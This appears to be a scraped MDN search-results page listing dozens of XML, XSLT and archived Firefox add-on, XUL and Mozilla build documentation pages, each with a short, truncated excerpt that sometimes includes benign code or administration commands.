t",helvetica,arial} .name {font-weight: bold; color: #217ac0; font-size: 120%} h4 { margin: 10px 0 -8px 0; } h4 span { background: #217ac0; padding: 2px 6px 2px 6px } h4 span { border: 1px solid #cee9f9; border-radius: 4px } h4 span { color: white } .attributes { margin-left: 22px; font-size: 90% } .attributes p { margin-left: 16px; font-style: italic } </style> <details> <summary> <span> <code class="name">&lt;<slot name="element-name">need name</slot>&gt;</code> <i class="desc"><slot name="description">need description</slot></i> </span> </summary> <div class="attributes"> <h4><span>attributes</span></h4> <slot name="attributes"><p>none</p></slot> </div> </details> <hr> </template> that <template> element has s...
...ight: bold; color: #217ac0; font-size: 120%} h4 { margin: 10px 0 -8px 0; } h4 span { background: #217ac0; padding: 2px 6px 2px 6px } h4 span { border: 1px solid #cee9f9; border-radius: 4px } h4 span { color: white } .attributes { margin-left: 22px; font-size: 90% } .attributes p { margin-left: 16px; font-style: italic } </style> <details> <summary> <span> <code class="name">&lt;<slot name="element-name">need name</slot>&gt;</code> <i class="desc"><slot name="description">need description</slot></i> </span> </summary> <div class="attributes"> <h4><span>attributes</span></h4> <slot name="attributes"><p>none</p></slot> </div> </details> <hr>...
XML Index - XML: Extensible Markup Language
WebXMLIndex
found 4 pages: # page tags and summary 1 xml: extensible markup language draft, landing, web, xml the extensible markup language is a strict serialisation of the document object model.
...it stands for extensible markup language and is a w3c recommended specification as a general purpose markup language.
XML introduction - XML: Extensible Markup Language
comments <!-- comment --> "correct" xml (valid and well-formed) Сorrect design rules for an xml document to be correct, the following conditions must be fulfilled: document must be well-formed.
... <?xml-stylesheet type="text/xsl" href="transform.xsl"?> recommendations this article is obviously only a very brief introduction to what xml is, with a few small examples and references to get you started.
Introduction to using XPath in JavaScript - XPath
the document node is the most commonly used.
...the most commonly passed constant is xpathresult.any_type which will return the results of the xpath expression as the most natural type.
<xsl:number> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementnumber
the default is the comma (,).
...see comments above.
<xsl:stylesheet> - XSLT: Extensible Stylesheet Language Transformations
specifications specification status comment xslt 3.0the definition of '<xsl:stylesheet>' in that specification.
... recommendation added the attributes default-mode, expand-text, and use-when.
The Netscape XSLT/XPath Reference - XSLT: Extensible Stylesheet Language Transformations
the following is an alphabetized and annotated list of the elements, axes, and functions from the w3c's 1.0 recommendation for xslt, as well as from the appropriate sections of the xpath recommendation.
... elements xsl:apply-imports (supported) xsl:apply-templates (supported) xsl:attribute (supported) xsl:attribute-set (supported) xsl:call-template (supported) xsl:choose (supported) xsl:comment (supported) xsl:copy (supported) xsl:copy-of (supported) xsl:decimal-format (supported) xsl:element (supported) xsl:fallback (not supported) xsl:for-each (supported) xsl:if (supported) xsl:import (mostly supported) xsl:include (supported) xsl:key (supported) xsl:message (supported) xsl:namespace-alias (not supported) xsl:number (partially supported) xsl:otherwise (supported) xsl:output (partially supported) xsl:param (supported) xsl:preserve-space...
WebAssembly
and what's even better is that it is being developed as a web standard via the w3c webassembly working group and community group with active participation from all major browser vendors.
... specifications specification status comment webassembly javascript interface working draft initial draft definition of the javascript api.
Builder - Archive of obsolete content
the add-on builder was a web-based development environment that allowed developers to create add-ons using the sdk apis, but without needing to use the jpm command line tool.
Loading Content Scripts - Archive of obsolete content
it takes one of three possible values: "start" loads the scripts immediately after the document element for the page is inserted into the dom.
port - Archive of obsolete content
this article documents the port object, which is used to communicate between a content script and the main add-on code.
Classes and Inheritance - Archive of obsolete content
however, to fully appreciate how class works, and the problem it is supposed to solve, it is recommended that you read the entire article.
Contributor's Guide - Archive of obsolete content
this article discusses two common techniques: one using prefixes, the other closures.
notifications - Archive of obsolete content
if the user's system does not support desktop notifications or if its notifications service is not running: if firefox was started normally, notifications are logged to firefox's error console if the user launched firefox from the command line, notifications are logged to the terminal.
tabs - Archive of obsolete content
optional returns worker : the worker object can be used to communicate with the content script.
windows - Archive of obsolete content
with this module, you can: enumerate the currently opened browser windows open new browser windows listen for common window events such as open and close private windows if your add-on has not opted into private browsing, then you won't see any private browser windows.
content/loader - Archive of obsolete content
this may take one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires contentscriptoption...
core/heritage - Archive of obsolete content
ruff!' please note that class is just an utility function which we use in sdk, and recommend our users to use it, but it's in no way enforced.
io/text-streams - Archive of obsolete content
if the stream is already closed, an exception is thrown immediately.
net/xhr - Archive of obsolete content
finally, we need to also consider attenuating http/https requests such that they're "sandboxed" and don't communicate potentially sensitive cookie information.
platform/xpcom - Archive of obsolete content
however, the components.classes object commonly used to look up factories by contract id will not be updated at run time.
system/xul-app - Archive of obsolete content
the possible values here are: "firefox" "fennec" "mozilla" "seamonkey" "sunbird" "thunderbird" "firefox"and"fennec"` are the most commonly used values.
test/utils - Archive of obsolete content
helper methods used in the commonjs unit testing suite.
ui/button/action - Archive of obsolete content
you can generate click events programmatically with the button's click() method.
ui/button/toggle - Archive of obsolete content
you can generate click and change events programmatically with the button's click() method.
ui/toolbar - Archive of obsolete content
after that, though, you can't show or hide the toolbar programmatically.
util/object - Archive of obsolete content
let { extend } = require("sdk/util/object"); var a = { alpha: "a" }; var b = { beta: "b" }; var g = { gamma: "g", alpha: null }; var x = extend(a, b, g); console.log(a); // { alpha: "a" } console.log(b); // { beta: "b" } console.log(g); // { gamma: "g", alpha: null } console.log(x); // { alpha: null, beta: "b", gamma: "g" } parameters arguments : object n arguments that get merged into a new object.
package.json - Archive of obsolete content
note: it is recommended that you use an spdx license id.
Tools - Archive of obsolete content
jpm jpm is a command-line tool that enables you to test, run, and package add-ons.
Add a Context Menu Item - Archive of obsolete content
you should see the new item appear: click it, and the selection is logged to the console (or the shell, if you're running an instance of firefox from the command line): info: elephantine lizard details all this add-on does is to construct a context menu item.
Creating annotations - Archive of obsolete content
each worker represents a channel of communication between the add-on code and any content scripts running in that particular page context.
Chrome Authority - Archive of obsolete content
commands that build a manifest, like "jpm xpi" or "jpm run", will scan all included modules for use of cc/ci aliases (or the expanded components.classes forms).
Creating Event Targets - Archive of obsolete content
the guide to event-driven programming with the sdk describes how to consume events: that is, how to listen to events generated by event targets.
Creating Reusable Modules - Archive of obsolete content
md5 is a commonly used hash function: although it's no longer considered secure, it works fine outside a security context.
List Open Tabs - Archive of obsolete content
you'll see output in the command line console that looks something like this: info: http://www.mozilla.org/about/ info: http://www.bbc.co.uk/ you don't get direct access to any content hosted in the tab.
Modifying Web Pages Based on URL - Archive of obsolete content
communicating with the content script your add-on script and content scripts can't directly access each other's variables or call each other's functions, but they can send each other messages.
Modifying the Page Hosted by a Tab - Archive of obsolete content
// index.js var self = require("sdk/self"); var tabs = require("sdk/tabs"); require("sdk/ui/button/action").actionbutton({ id: "load-several", label: "load several scripts", icon: "./icon-16.png", onclick: function () { tabs.activetab.attach({ contentscriptfile: [self.data.url('first.js'), self.data.url('second.js')] }); } }); communicating with the content scripts your add-on script and content scripts can't directly access each other's variables or call each other's functions, but they can send each other messages.
Open a Web Page - Archive of obsolete content
to open a new web page, you can use the tabs module: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com"); this function is asynchronous, so you don't immediately get back a tab object which you can examine.
Troubleshooting - Archive of obsolete content
this should be the same console or shell from which you ran the jpm command.
Unit Testing - Archive of obsolete content
assert is supplied by the test/assert module and implements the commonjs unit testing specification.
Localization - Archive of obsolete content
the files: use the .properties format are named "xx-yy.properties", where "xx-yy" is the name of the locale in question contain one entry for each string you want to localize, consisting of an identifier for the string and its translation in that locale, in the format identifier=translation need to use utf-8 without bom encoding lines starting with "#" (after optional whitespace) are comments suppose your add-on contains a single localizable string, represented in english as "hello!", and you want to supply us english and french french localizations.
Add-on SDK - Archive of obsolete content
development techniques learn about common development techniques, such as unit testing, logging, creating reusable modules, localization, and mobile development.
Boxes - Archive of obsolete content
ndow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <hbox style="display: block"> <label value="aaa"/> <label value="bbb"/> <label value="ccc"/> <label value="ddd"/> <label value="eee"/> <label value="fff"/> <label value="ggg"/> <label value="hhh"/> <label value="iii"/> <label value="jjj"/> <label value="kkk"/> <label value="lll"/> <label value="mmm"/> <label value="nnn"/> <label value="ooo"/> <label value="ppp"/> <label value="qqq"/> <label value="rrr"/> <label value="sss"/> <label value="ttt"/> <label value="uuu"/> <label value="vvv"/> <label value="www"/> <label value="xxx"/> <label value="yyy"/> <label value="zzz"/> </hbox> </window> images if you put image in the contents, you should probably add align="st...
Downloading Files - Archive of obsolete content
for example, with empty dummy methods if you are not interested about the progress.
File I/O - Archive of obsolete content
there might be races between different processes and/or threads, e.g., a file could be immediately created or deleted after you check the existence but before you can perform any other actions such as opening the file for reading or writing.
Finding window handles - Archive of obsolete content
.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsibasewindow); var nswindowstring = basewindow.nativehandle; components.utils.import('resource://gre/modules/ctypes.jsm'); var objc = ctypes.open(ctypes.libraryname('objc')); // types let id = ctypes.voidptr_t; let sel = ctypes.voidptr_t; // constants let nil = ctypes.voidptr_t(0); //common functions let sel_registername = objc.declare('sel_registername', ctypes.default_abi, sel, ctypes.char.ptr); let objc_msgsend = objc.declare('objc_msgsend', ctypes.default_abi, id, id, sel, '...'); /* https://developer.apple.com/library/mac/documentation/cocoa/reference/applicationkit/classes/nsapplication_class/index.html#//apple_ref/occ/instp/nsapplication/orderfront: * [nswindowptr order...
Examples and demos from articles - Archive of obsolete content
this is a common technique used, for example, in order to create pure-css dropdown menus (that is only css, without using javascript).
HTML in XUL for rich tooltips - Archive of obsolete content
this is recommended for security reasons, especially if remote html is to be inserted.
LookupNamespaceURI - Archive of obsolete content
eturn null; // unknown case 2: // attribute_node if (node.ownerelement) { return lookupnamespaceurihelper(node.ownerelement, prefix); } return null; // unknown default: // text_node (3), cdata_section_node (4), entity_reference_node (5), // processing_instruction_node (7), comment_node (8) if (node.parentnode) { // entityreferences may have to be skipped to get to it return lookupnamespaceurihelper(node.parentnode, prefix); } return null; // unknown } }; } }()); ...
Preferences - Archive of obsolete content
you may wish for such changes to be applied immediately in your extension.
Progress Listeners - Archive of obsolete content
example: notification when the value in address bar changes a commonly asked question is how to get notified whenever the url in the address bar (also known as location bar) changes.
Running applications - Archive of obsolete content
using nsiprocess the recommended way is to use the nsiprocess interface because it is crossplatform.
SVG General - Archive of obsolete content
svg template here is a basic markup template to start building an svg document: <svg xmlns="http://www.w3.org/2000/svg"> <!-- svg elements go here --> </svg> note: it is recommended that you do not use dtd's with svg documents.
Sidebar - Archive of obsolete content
resizing the sidebar programmatically in case you need to change the width of the sidebar, use the following code: function setsidebarwidth(newwidth) { var mainwindow = window.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsiwebnavigation) .queryinterface(components.interfaces.nsidocshelltreeitem) .roottreeitem .queryinterface(components.interfaces.nsiinterfacerequestor...
Windows - Archive of obsolete content
this article offers code snippets demonstrating common tasks you may wish to perform.
getAttributeNS - Archive of obsolete content
while namespaced attributes are less common than namespaced elements, some standards such as xlink depend on them.
Default Preferences - Archive of obsolete content
comments are perfectly acceptable.
Downloading JSON and JavaScript in extensions - Archive of obsolete content
a common practice found in many extensions is using xmlhttprequest (or some other mechanism) to download javascript or json (they are different) from a remote website.
Extension Packaging - Archive of obsolete content
official references for toolkit api structure of an installable bundle: describes the common structure of installable bundles, including extensions, themes, and xulrunner applications extension packaging: specific information about how to package extensions theme packaging: specific information about how to package themes multiple-item extension packaging: specific information about multiple-item extension xpis xul application packaging: specific information about how to package xu...
Inline options - Archive of obsolete content
large"/> </menupopup> </menulist> </setting> <!-- radio button example (this example would be stored as a boolean) --> <setting pref="extensions.myaddon.options2" type="radio" title="options 2"> <radiogroup> <radio value="false" label="disabled"/> <radio value="true" label="enabled"/> </radiogroup> </setting> <!-- button example - not tied to a preference, but attached to a command --> <setting title="do something" type="control"> <button id="myaddon-button" label="click me" oncommand="alert('thank you!');"/> </setting> setting element changed notifications most of the setting elements (it might be all i havent really looked), support oninputchanged attribute.
Listening to events in Firefox extensions - Archive of obsolete content
when this property is set to false, the unload handler, if present, fires immediately after the pagehide event.
Migrating from Internal Linkage to Frozen Linkage - Archive of obsolete content
this document is a guide to common code patterns that may need to change to work with frozen linkage.
Migrating raw components to add-ons - Archive of obsolete content
if you would like to install firefox add-ons in an automated, programmatic way, we have documented a set of best practices.
Multiple item extension packaging - Archive of obsolete content
structure of an installable bundle: describes the common structure of installable bundles, including extensions, themes, and xulrunner applications extension packaging: specific information about how to package extensions theme packaging: specific information about how to package themes multiple-item extension packaging: specific information about multiple-item extension xpis xul application packaging: specific information about how to package xu...
Getting Started with Firefox Extensions - Archive of obsolete content
issue the following command to unzip the file on linux or mac os x: unzip xulschoolhello1.xpi -d xulschoolhello1 on windows, you can change the file extension from xpi to zip, or open the file directly, then unzip it, using a zip tool.
Observer Notifications - Archive of obsolete content
observerservice.notifyobservers(null, "xulschoolhello-test-topic", "hello"); non-chrome to chrome communication non-chrome to chrome communication is one of the main uses of observers.
Session store API - Archive of obsolete content
starting in firefox 3.5, notifications are sent after reading session store data and before using it, as well as immediately before writing it back to disk.
Supporting search suggestions in search plugins - Archive of obsolete content
(this means that a suggestion-supporting engine plugin will have two <url> elements, the other one being the main text/html search url.) for example, the yahoo search plugin has this <url> entry: <url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&command={searchterms}"/> if the user types "fir" into the search bar, then pauses, firefox inserts "fir" in place of {searchterms} and queries that url: <url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&command=fir"/> the results are used to construct the suggestion list box.
Firefox addons developer guide - Archive of obsolete content
nu/linux, macos, windows; add anchor links to figures & listings; add credits to original authors and license; completed sometimes, interfaces names are misspelled: s/nsl/nsi; talk about fuel; titles of chapters and sub-headings should have caps for first letter of each word; we should add a part about bad and good practices (leaks, global scopes, ...); add external resources (mozdev.org/community/books.html); add to chapter 3 or 5 more informations about overlay (how to overlay some interesting part of firefox like status bar, menus or toolbar) add previous/next at the end of each chapter questions: opensource appendix.
Updating addons broken by private browsing changes - Archive of obsolete content
our code refers to any of the following interfaces: ff 15: nsidomstoragemanager ff 16: nsitransferable ff 18: imgicache moziasyncfavicons nsifaviconservice nsiwebbrowserpersist ff 19: nsicontentprefservice nsidownloadmanager nsidownload nsihttpauthmanager nsistricttransportsecurityservice ff 20: nsiprivatebrowsingservice nsirecentbadcertservice furthermore, if your code uses any of these common chrome apis: ff 19: saveurl saveinternal openlinkin ff 20: openbrowserwindow gprivatebrowsingui finally, if your code watches for any of these observer notifications: private-browsing private-browsing-cancel-vote private-browsing-change-granted private-browsing-transition-complete then your addon will require updating to correctly support the new per-window private browser feature in...
Search Extension Tutorial (Draft) - Archive of obsolete content
changing default preference values there are two common ways of changing default preference values.
Creating reusable content with CSS and XBL - Archive of obsolete content
if you had difficulty understanding this page, or if you have other comments about it, please contribute to its discussion page.
Beginner tutorials - Archive of obsolete content
creating reusable content with css and xblthis page illustrates how you can use css in mozilla to improve the structure of complex applications, making code and resources more easily reusable.underscores in class and id namessummary: the use of the underscore character in css can lead to major display problems in multiple browsers.
MozOrientation - Archive of obsolete content
to normalize between the two you can do something like this: function orientationhandler(evt){ // for ff3.6+ if (!evt.gamma && !evt.beta) { evt.gamma = -(evt.x * (180 / math.pi)); evt.beta = -(evt.y * (180 / math.pi)); } // use evt.gamma, evt.beta, and evt.alpha // according to dev.w3.org/geo/api/spec-source-orientation } window.addeventlistener('deviceorientation', orientationhandler, false); window.addeventlistener('mozorientation', orientationhandler, false); example window.a...
List of Former Mozilla-Based Applications - Archive of obsolete content
n and details second life virtual world desktop client switched from embedded mozilla browser to a plugin architecture with a qtwebkit plugin applications that are no longer being developed name description additional information aphrodite browser inactive aol client for mac internet software no longer available beonex communicator internet software last news item on site from 2004 chameleon theme builder inactive civil netizen p2p file delivery (email attachment replacement) site not updated since 2006 compuserve client internet software no longer available doczilla sgml/xml/html browser last release on site from july 2005 fabula language...
Localizing an extension - Archive of obsolete content
for example, in stockwatcher2.xul, we change this line: <menuitem label="refresh now" oncommand="stockwatcher.refreshinformation()"/> to <menuitem label="&menu_refresh_now.label;" oncommand="stockwatcher.refreshinformation()"/> do this for every string used in each xul file.
Makefile - .mk files - Archive of obsolete content
makefile description client.mk top level makefile which controls the overall build config/android-common.m config/autoconf.mk config/rules.mk targets (export, deps, libs, tools) and generic build rules config/static-checking-config.mk config/version.mk makefile description config/myconfig.mk user defined build configuration values config/myrules.mk user defined makefile rules for building $(topsrcdir)/$(moz_build_app)/app-config.mk application specific build configuration ...
Environment variables affecting crash reporting - Archive of obsolete content
run this on the command line: defaults write org.mozilla.firefox oscrashreporter 1 note that you will get two crash dialogs with this setting, one from the os and one from mozilla.
Using content preferences - Archive of obsolete content
browser.zoom.sitespecific toolkit.zoommanager.zoomvalues zoom.maxpercent and zoom.minpercent browser.download.lastdir path of a filesystem directory related about:config preferences: browser.download.lastdir the last directory for any site use downloadlastdir.jsm for access to these preferences.
Working with BFCache - Archive of obsolete content
q: hmm, so what event tells me “you'll never get a pageshow so you can drop the megabytes of info you've saved in firebug side table for that page?” a: an observer notification with the topic "inner-window-destroyed" whose subject is an nsisupportspruint64 containing the window id of the inner window being destroyed.
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
assuming you have cvs somewhere in your path, type this from a command prompt: c:\> set cvsroot=:pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot c:\> set home=\temp c:\> cvs login (logging in to anonymous@cvs-mirror.mozilla.org) cvs password: anonymous c:\> cvs -z3 co mozilla/embedding/browser/activex/src/pluginhostctrl this fetches the source for the control into mozilla\embedding\browser\activex\src\pluginhostctrl.
Enabling quicklaunch for all users - Archive of obsolete content
this can be performed automatically by including the following command into the windows logon script: regedit /s \\server\netlogon\reg\quicklaunch.reg ...
How Thunderbird and Firefox find their configuration files - Archive of obsolete content
this is a readable file of javascript commands.
Introduction - Archive of obsolete content
introduction these pages describes how to customize mozilla for multi-user community.
Kill the XUL.mfl file for good - Archive of obsolete content
unfortunately, there appears to be no "clean" way of doing so (javascript command in prefs.js or registry setting).
Protecting Mozilla's registry.dat file - Archive of obsolete content
in summary, you can use the following series of commands in your logon script (usually stored in /home/samba/netlogon/startup.bat on the server): rem ================================================== rem mozilla rem ================================================== attrib -r -s "%userprofile%\application data\mozilla" >nul 2>nul attrib -r -s "%userprofile%\application data\mozilla\registry.dat" >nul 2...
Enabling the behavior - retrieving tinderbox status - Archive of obsolete content
in this case we use it to retrieve an html page containing a brief summary of the current tinderbox state.
Finding the file to modify - Archive of obsolete content
it contains elements for all common ui widgets (menus, buttons, toolbars, etc.) and many sophisticated ones (trees, browsers, color pickers).
Making it into a static overlay - Archive of obsolete content
href="chrome://navigator/content/tinderstatus.css" type="text/css"?> <?xul-overlay href="chrome://navigator/content/navigatoroverlay.xul"?> <?xul-overlay href="chrome://navigator/content/navextraoverlay.xul"?> <?xul-overlay href="chrome://navigator/content/linktoolbaroverlay.xul"?> <?xul-overlay href="chrome://navigator/content/tinderstatusoverlay.xul"?> <?xul-overlay href="chrome://communicator/content/conten...extoverlay.xul"?> <?xul-overlay href="chrome://communicator/content/sideba...baroverlay.xul"?> <?xul-overlay href="chrome://communicator/content/communicatoroverlay.xul"?> <?xul-overlay href="chrome://communicator/content/bookma...rksoverlay.xul"?> ...
Tinderbox - Archive of obsolete content
the tool enables mozilla.org to be immediately notified of changes to the code that prevent mozilla from compiling and running (or compromise performance and footprint) so they can get someone to fix the problem or reverse the changes.
Creating a Mozilla Extension - Archive of obsolete content
ating the status periodically making it into a static overlay making it into a dynamic overlay and packaging it up for distribution conclusion next » original document information author(s): myk melez last updated date: september 19, 2006 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
chrome.manifest - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "chrome.manifest": skin global my_theme jar:chrome/my_theme.jar!/global/ skin mozapps my_theme jar:chrome/my_theme.jar!/mozapps/ skin messenger my_theme jar:chrome/my_theme.jar!/messenger/ skin messenger-newsblog my_theme jar:chrome/my_theme.jar!/messenger-newsblog/ skin communicator my_theme jar:chrome/my_theme.jar!/communicator/ skin help my_theme jar:chrome/my_theme.jar!/help/ skin navigator my_theme jar:chrome/my_theme.jar!/navigator/ skin editor my_theme jar:chrome/my_theme.jar!/editor/ ...
Creating a Release Tag - Archive of obsolete content
-name cvs | xargs -l -p10 cvs tag -l mozilla_0_9_4_1_release >& ../taglog original document information author(s): dawn endico last updated date: november 1, 2005 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Creating a Skin for Mozilla - Archive of obsolete content
contents getting started setup changing borders and colours changing images creating the install script in-depth system colours mozilla css commands how do i know what to modify?
Dehydra - Archive of obsolete content
dehydra faq answers to common questions static analyses analyses being worked on for mozilla 2 todo steps to dehydra 1.0 release community view dehydra forums...
Devmo 1.0 Launch Roadmap - Archive of obsolete content
comments, ideas, questions and other discussion should be added on the devmo talk:1.0 launch roadmap page.
Embedding FAQ - Archive of obsolete content
however, there is a stripped down, uncommented code with eclipse libraries in this thread.
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
in order to communicate with xpcom after this point, you should use an nsiproxyobjectmanager.
External CVS snapshots in mozilla-central - Archive of obsolete content
eventually we'd like to have acls, but as of today there is no protection for accidental commits to those directories.
Layout FAQ - Archive of obsolete content
how do you find out if there are any reflows that are pending and wait to show the view until afterwards, but if none are pending, show the view immediately?
Firefox - Archive of obsolete content
downloading nightly or trunk buildsthere are some terms that are used by the mozilla community.
Code snippets - Archive of obsolete content
components.utils.import("resource://services-sync/main.js"); weave.service._freshstart(); // if you want to do it without wiping the server (which will cause corruption!): weave.service.generatenewsymmetrickeys(); print out a list of large bookmark records // change '1000' as appropriate.
Syncing custom preferences - Archive of obsolete content
the most convenient place for this would be your add-on's default preferences, though if you want to give the user a choice to opt-in, you can also do it programmatically.
GRE Registration - Archive of obsolete content
when installing a gre via the command line <tt>xulrunner.exe -register-global</tt>, xulrunner will detect that there is already an installation at hklm/software/mozilla.org/gre/<version> and will try alternate keys <version>_1 _2 until an available key is found.
JavaScript crypto - Archive of obsolete content
turning this flag on will illuminate a large number of password prompts for your token when looking up certs in communicator.
Java in Firefox Extensions - Archive of obsolete content
one example seems to be the fact that the "java" global is not immediately available if the extension operates in a sidebar (using settimeout solved it at least).
Simple Storage - Archive of obsolete content
:(jetpack.menu.context.page.beforeshow = function (menu) { menu.reset(); if (jetpack.selection.text) menu.add({ label: "note", command: function () { notes.unshift(jetpack.selection.text); if (notes.length > 20) notes.pop(); updatejetpackmenu(); } });};// initialize the jetpack menu with the current notes.updatejetpackmenu(); see also settings jep 11 ...
Clipboard - Archive of obsolete content
this is the recommended method of copying data to the clipboard.
Clipboard Test - Archive of obsolete content
this is the recommended method of copying data to the clipboard.
Clipboard - Archive of obsolete content
this is the recommended method of copying data to the clipboard.
slideBar - Archive of obsolete content
about status: in development instantiation: jetpack.future.import('slidebar') last update: v0.6 summary: slidebar is a reinvention of the old sidebar feature of browsers.
Simple Storage - Archive of obsolete content
:( jetpack.menu.context.page.beforeshow = function (menu) { menu.reset(); if (jetpack.selection.text) menu.add({ label: "note", command: function () { notes.unshift(jetpack.selection.text); if (notes.length > 20) notes.pop(); updatejetpackmenu(); } }); }; // initialize the jetpack menu with the current notes.
Clipboard - Archive of obsolete content
this is the recommended method of copying data to the clipboard.
Makefile.mozextension.2 - Archive of obsolete content
file.mozextension2 ## based on http://kb.mozillazine.org/makefile_for_packaging_an_extension ## "this makefile.mozextention is for the test extension" ## the original makefile.mozextention reconstructs http://kb.mozillazine.org/getting_started_with_extension_development # call with: # make -f makefile.mozextension2 make_structure ## (without args for 'all') # note: @echo silent; without @ the command is written in stdout project=test project_name=testworld #~ project_id={xxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} project_id=test@testworld.ext project_version=1.0 project_desc="a $(project_name) project with advanced features" project_author=author name # mkdir=$(shell which mkdir) mkdir=/bin/mkdir zipprog=/usr/bin/zip shell = /bin/sh noop = $(shell) -c true noecho = @ rm_rf=rm -f cp=/bin/c...
Mozilla project presentations - Archive of obsolete content
community all about community this presentation provides a look at the mozilla community giving program.
Porting NSPR to Unix Platforms - Archive of obsolete content
some of them respond to the <tt>-h</tt> command line option and print a usage message.
BundleLibrary - Archive of obsolete content
we are working on a new bundle library compatible with the current prism version and welcome any contributions from the developer community.
Scripting - Archive of obsolete content
this level of functionality is commonly called chrome-level privileges.
Prism - Archive of obsolete content
community blog posts prism forum #prism on irc.mozilla.org goodies bundle library contributing source code in svn bugzilla (for bugs and suggestions) open bugs, enter new bug build documentation related topics xulrunner ...
Priority Content - Archive of obsolete content
keller equivalents security developer central -> security plugins central -> plugins devedge community -> mozilla web developer community notes from devmo wishlist devedge toolbox tools on devedge examples on devedge started: devedge sidebar completed: standards-compliant authoring tools on devedge mostly completed: tools:validators on devedge dependant on the sidebar tabs and the tune-up wizard.
Hacking wiki - Archive of obsolete content
to configure it, run <tt>update-devmo.php</tt> from the command line.
Proxy UI - Archive of obsolete content
but should be noted that if you cut and paste from ie, the semi-colons are automatically converted to commas when you save changes (ff, tb, sm).
Safely loading URIs - Archive of obsolete content
some other schemes are used internally by mozilla modules to communicate with each other.
Space Manager High Level Design - Archive of obsolete content
this is used to communicate information about the space in the band to the clients of the space manager.
Merging TraceMonkey Repo - Archive of obsolete content
from the tbpl changeset display) and paste the link into the comment field while resolving as fixed.
Static Analysis for Windows Code under Linux - Archive of obsolete content
we highly recommend you to read the cross compiling manual and the dehydra build manual before you start the following reading.
String Quick Reference - Archive of obsolete content
on stack getstringvalue(value); // call getstringvalue(char** out); nsxpidlcstring result; getstringvalue(getter_copies(result)); // result will free automatically original document information author: alec flett last updated date: april 30, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Supporting per-window private browsing - Archive of obsolete content
1"] .getservice(components.interfaces.nsiobserverservice); os.addobserver(pbobserver, "last-pb-context-exited", false); preventing a private session from ending if there are unfinished transactions involving private data, where the transactions will be terminated by the ending of a private session, an add-on can vote to prevent the session from ending (prompting the user is recommended).
Table Cellmap - Archive of obsolete content
original document information author(s): bernd mielke last updated date: september 27, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Abc Assembler Tests - Archive of obsolete content
when run, the assembler tests include the abcasm/abs_helper.as file which defines the following functions: start(summary:string):void - start a new test section described by summary end():void - test section finished compare_stricteq(name:string, expected:*, actual:*):void - compare the results of a testcase where name is the testcase name compare_typeerror(name:string, expected:*, actual:*):void - special function for comparing typeerrors (runtimeerrors) - will only compare the first 22 chars of expected an...
Tamarin-central rev 703:2cee46be9ce0 - Archive of obsolete content
testing summary acceptance tests have passed on the following supported platforms: * windows, 32 & 64 bit * mac ox x ppc & intel, 32 bit * linux, 32 bit * windows mobile arm version asc-4200 of the actionscript compiler was used for all tests.
Tamarin Roadmap - Archive of obsolete content
comments or questions are welcome and encouraged via the tamarin-devel mailing list.
TraceVis - Archive of obsolete content
text summary python binlog.py /tmp/tracevis.log this prints a summary of the log.
Treehydra - Archive of obsolete content
treehydra manual usage instructions static analyses analyses being worked on for mozilla 2(many use treehydra) interesting papers esp path-sensitive program verification in polynomial time community view treehydra forums...
[Deprecated] The Mozilla build VM - Archive of obsolete content
mentored bugs have a mentor who commits to helping you every step of the way.
Writing textual data - Archive of obsolete content
passing 0 ensures that data will be immediately written to the underlying stream; however, for better perfomance you should pass a value like 4096 instead.
Anonymous Content - Archive of obsolete content
on any anonymous content element in a template, an inherits attribute can be used to specify a comma-separated list of attributes that should be inherited.
DOM Interfaces - Archive of obsolete content
the binding document can then be modified programmatically using the dom.
XBL 1.0 Reference - Archive of obsolete content
for this reason it contains many comments and some blocks could be avoided in a more compact solution yet used here for demonstration purposes.
Mac stub installer - Archive of obsolete content
once you add the section to the packages-mac file the release automation will automatically generate an xpi for your module with a dummy install.js.
Install Wizards (aka: Stub Installers) - Archive of obsolete content
it contains some files to be installed and the install script, usually named install.js, which contains javascript directives for actions to take during an install including adding files and directories, removing old or obsolete files and directories, executing command line tools, etc.
File.macAlias - Archive of obsolete content
xpisrc = "miscellaneous program"; var vi = "1.1.1.1"; initinstall( "macintosh alias", "misc", vi, 0); f = getfolder("program"); g = getfolder("mac desktop"); addfile( "filemacalias", "2.2.2.2", xpisrc, f, xpisrc, true); err = file.macalias(f, xpisrc, g, xpisrc + " alias"); logcomment("file.macalias returns: " + err); if (0 == getlasterror()) performinstall(); else cancelinstall(); ...
File.windowsShortcut - Archive of obsolete content
xpisrc = "misc.exe"; var vi = "1.1.1.1"; initinstall( "windows shortcut", "test", vi, 0); f = getfolder("windows"); g = getfolder("temporary"); addfile( "miscshortcut", "2.2.2.2", xpisrc, f, xpisrc, true); target = getfolder(f, xpisrc); shortcutpath = getfolder("program"); err = file.windowsshortcut( target, shortcutpath, "misc shortcut", g, "", target, 0); logcomment("file.windowsshortcut returns: " + err); if (0 == getlasterror()) performinstall(); else cancelinstall(); ...
Install.addDirectory - Archive of obsolete content
var vi = "10.10.10.10"; var xpisrc = "adddir1"; initinstall("addfilenovers1", "adddir_1", vi, 1); f = getfolder("program"); setpackagefolder(f); err = adddirectory(xpisrc); logcomment("the error = " + err); if (0 == getlasterror()) performinstall(); else cancelinstall(); ...
copy - Archive of obsolete content
summary makes a queued copy of the specified file.
execute - Archive of obsolete content
see performinstall for more information about queued commands during the installation process.
